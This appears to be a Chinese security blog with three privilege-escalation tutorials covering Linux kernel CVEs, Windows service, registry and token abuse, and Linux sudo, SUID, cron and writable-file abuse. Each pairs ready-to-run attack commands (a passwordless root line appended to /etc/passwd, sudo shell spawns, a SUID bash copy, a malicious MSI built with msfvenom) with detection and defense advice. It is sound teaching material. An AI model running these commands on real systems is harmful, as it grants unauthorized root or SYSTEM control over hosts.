提权 on SoulJian小站

Linux 提权深入：脏牛等内核漏洞

Sat, 29 Aug 2026 21:40:00 +0800

写在前面：合法学习边界

内核提权只允许在授权靶场进行。利用内核漏洞在真实系统提权可能触发系统崩溃，风险高、可能触犯法律。

一、原理

当 sudo/SUID/可写文件都没戏时，才考虑内核漏洞。内核漏洞 = 低权限用户触发内核中的 bug，拿到 root。

1

低权限进程 → 触发内核漏洞 → 以 root 执行代码

为什么是“最后手段”：破坏性高（可能崩溃）、不同内核版本 exploit 不通、容易暴露。

二、经典与时效的内核漏洞

1. 脏牛 Dirty Cow（CVE-2016-5195）

1
2
3


写时拷贝（COW）竞态 → 可覆盖只读文件（如 /etc/passwd）
影响：Linux 2.6.22 – 4.8.x
利用：dirtycow 写 /etc/passwd 添加 root 用户

2. Dirty Pipe（CVE-2022-0847）

1
2
3


未初始化管道缓冲 → 修改只读文件/覆盖 /etc/passwd
影响：Linux 5.8 – 5.16.x
利用：dirtypipe 写 root 用户

3. PwnKit（CVE-2021-4034）

1
2
3


polkit 的 pkexec 未正确处理参数 → 直接提权 root
影响：几乎所有主流发行版（2022 爆出，老版本长期受影响）
利用：一键 pkexec exploit，非常稳定

4. OverlayFS（CVE-2021-3493）

1
2


Ubuntu overlayfs 文件复制竞态 → 提权
影响：Ubuntu 16.04/18.04/20.04

5. Looney Tunables（CVE-2023-4911）

1
2


glibc ld.so 堆溢出 → 提权
影响：主流发行版部分版本（时效性高）

三、影响

1
2
3


低权限 → root
完全控制主机
横向移动、抓取更多凭据

风险等级：高到严重。

四、利用 / 复现（授权环境）

第一步：确认内核版本与系统

1
2


uname -a
cat /etc/os-release

第二步：对号选 exploit

1
2
3
4
5
6
7
8
9


# 内核版本 → 匹配已知 CVE
# 例：脏牛
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 新密码
su 新用户

# PwnKit（通用性强）
./CVE-2021-4034
id # 已是 root

第三步：验证

1

id # uid=0(root)

五、检测

1
2
3


uname -r 对比已修复版本
补丁缺失、内核长期不更新
存在可复现的 CVE 条件

六、防御

1
2
3
4


及时打内核/系统补丁（最根本）
最小化暴露，防止低权限入口
对可疑编译/执行行为告警
容器/云主机用加固镜像

七、修复

1
2
3


升级内核与关键组件（glibc/polkit 等）
对已提权主机取证、清理
修复后复测：旧 exploit 失效

八、小结

内核提权是 Linux 提权的“核武器”：破坏性大、但成功率取决于版本。正确姿势是先 uname 定版本，再对号打对应 CVE。防御端只有一条最有效——及时打补丁。脏牛、PwnKit 这类“老而经典”的漏洞，至今还在大量老系统上有效。

内网渗透：Windows 提权实战

Sat, 29 Aug 2026 18:30:00 +0800

写在前面：合法学习边界

提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。

一、漏洞原理

拿到一个 Windows 低权限 Shell 后，目标是提升到 SYSTEM/Administrator。Windows 提权大多利用“服务/配置跑在高权限上，却可以被低权限用户控制”这类问题。

常见提权面：

1
2
3
4
5
6


不安全的服务（可写二进制、可写服务路径、未引用的服务路径）
注册表 AlwaysInstallElevated（MSI 以 SYSTEM 安装）
令牌模拟（SeImpersonatePrivilege → Potato 系列）
可写启动文件夹 / 计划任务
DLL 劫持
内核漏洞

二、影响与危害

1
2
3


低权限 → SYSTEM/管理员
控制主机、横向移动
抓取更多凭据

风险等级：高。

三、利用 / 复现

第一步：收集信息

1
2
3
4
5
6
7
8
9


whoami /all :: 用户与权限（看 SeImpersonatePrivilege）
:: 解释：SeImpersonatePrivilege 是 Potato 系列提权的前提
systeminfo :: 系统版本与补丁
:: 解释：核对补丁找缺失 CVE
sc qc <服务名> :: 服务配置
:: 解释：看服务二进制路径/运行账号，判断能否替换
wmic service get name,pathname,startname :: 服务二进制路径
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 解释：值为 1 时 MSI 会以 SYSTEM 安装，可用来提权

第二步：不安全的服务

1
2
3


1. 找服务路径可写或引用的二进制可被替换
2. 替换成恶意程序（如创建管理员用户）
3. 重启/触发服务 → 以 SYSTEM 执行

未引用服务路径：

1
2


# 服务路径含空格且未加引号，可放同名恶意文件到前面目录
sc start <服务名>

第三步：AlwaysInstallElevated

1
2
3


# 注册表值为 1 时，MSI 以 SYSTEM 安装
msfvenom -p windows/... -f msi -o evil.msi
msiexec /quiet /i evil.msi

第四步：令牌模拟（Potato 系列）

1
2


拥有 SeImpersonatePrivilege（服务账号常见）时
用 Potato（Juicy/Rogue/LoneWolf）提权到 SYSTEM

第五步：内核漏洞

1
2


systeminfo 看补丁 → 对缺失补丁查 CVE
只在授权环境用，先评估稳定性

四、检测

1
2
3
4


服务二进制/路径权限异常（可被低权限修改）
注册表 AlwaysInstallElevated 被开启
高权限服务运行账号可疑
补丁严重缺失、版本过旧

五、防御

1
2
3
4
5


服务二进制用受控目录并收紧 ACL
关闭 AlwaysInstallElevated
服务账号最小权限，不随意给 SeImpersonate
及时打补丁
EDR 监控提权行为（Potato、服务替换）

六、加固（修复）

1
2
3
4
5


修复不安全服务路径与权限
关闭 AlwaysInstallElevated
清理提权工具与后门账户
补装补丁
对已提权主机取证

七、小结

Windows 提权核心是“谁在高权限下运行、低权限用户能不能碰它”。先看 whoami /all 和 sc qc，再决定走服务替换、注册表、Potato 还是内核漏洞。和 Linux 提权一样，先信息收集再动手。

内网渗透：Linux 提权实战

Sat, 29 Aug 2026 16:20:00 +0800

写在前面：合法学习边界

提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。

一、漏洞原理

拿到一个低权限 Shell 后，目标是提升到 root。提权本质是：低权限用户能利用系统配置或漏洞，执行本不该有权限的操作。

常见提权面：

1
2
3
4
5
6


sudo 配置不当（用户可执行 root 命令）
SUID 文件（以所有者权限运行）
可写文件（/etc/passwd、PATH 里的脚本）
cron 任务（可写脚本/PATH 劫持）
内核漏洞
数据库/服务漏洞提权

二、影响与危害

1
2
3


低权限 → root 完全控制
横向移动
数据窃取、后门持久化

风险等级：高（决定渗透是否深入）。

三、利用 / 复现

第一步：收集当前权限

1
2
3
4


id
sudo -l # 看当前用户能 sudo 什么
whoami
cat /etc/passwd | grep -v nologin

第二步：sudo 提权（重点看 GTFOBins）

1
2
3
4
5
6
7
8
9


# 如果 sudo -l 显示可以无密码执行 find/vim/python 等
sudo -l
# 解释：列出当前用户可执行的 sudo 命令，提权的关键入口
# 例：sudo find 提权
sudo find / -exec /bin/sh \;
# 解释：find 有 -exec 可执行命令，/bin/sh 提权；注意 -p 保留 SUID 权限
# 例：sudo python 提权
sudo python -c 'import os; os.system("/bin/bash")'
# 解释：sudo 下 python 直接调系统命令弹 shell

规则：sudo -l 里能执行什么，就去 GTFOBins 查对应的提权命令。

第三步：SUID 提权

1
2
3
4
5
6
7


# 找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 解释：-4000 匹配 SUID 位，SUID 程序以文件所有者（常为 root）权限运行
# 例：find SUID
find / -exec /bin/sh -p \;
# 例：nmap 旧版本交互模式
nmap --interactive

-p 保留 SUID 权限。

第四步：可写文件与 PATH 劫持

1
2
3
4
5


# /etc/passwd 可写 → 添加无密码 root 用户
echo 'hack::0:0::/root:/bin/bash' >> /etc/passwd
# PATH 劫持：把同名恶意文件放进靠前的 PATH 目录
echo '/bin/bash' > /tmp/ls && chmod +x /tmp/ls
export PATH=/tmp:$PATH

第五步：cron 任务提权

1
2
3


cat /etc/crontab
# 如果任务调用可写脚本/命令 → 替换为反弹
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > /可写脚本路径

内核漏洞（谨慎）

1
2
3


uname -a 看版本 → 查对应 CVE
脏牛(DirtyCow) 等历史漏洞
只在靶场/授权环境用，生产先评估影响

四、检测

1
2
3
4


find SUID 扫描、sudo -l 输出是否异常
可写系统目录/脚本
cron 里异常条目
内核版本过旧、补丁缺失

五、防御

1
2
3
4
5


最小化 sudo 授权，按命令白名单
避免不必要 SUID 位
关键文件收紧权限、目录防写
cron 脚本放安全目录并校验
及时打内核补丁

六、加固（修复）

1
2
3
4
5


清理多余 SUID/sudo 授权
修复可写关键路径与脚本
禁用/替换危险 sudo 命令
升级内核补丁
对已提权主机做取证与后门清理

七、小结

Linux 提权的套路很固定：先看 sudo -l 和 SUID，再看可写文件和 cron。这些排查完没戏，才考虑内核漏洞。记住 GTFOBins 是 sudo/SUID 提权的“字典”。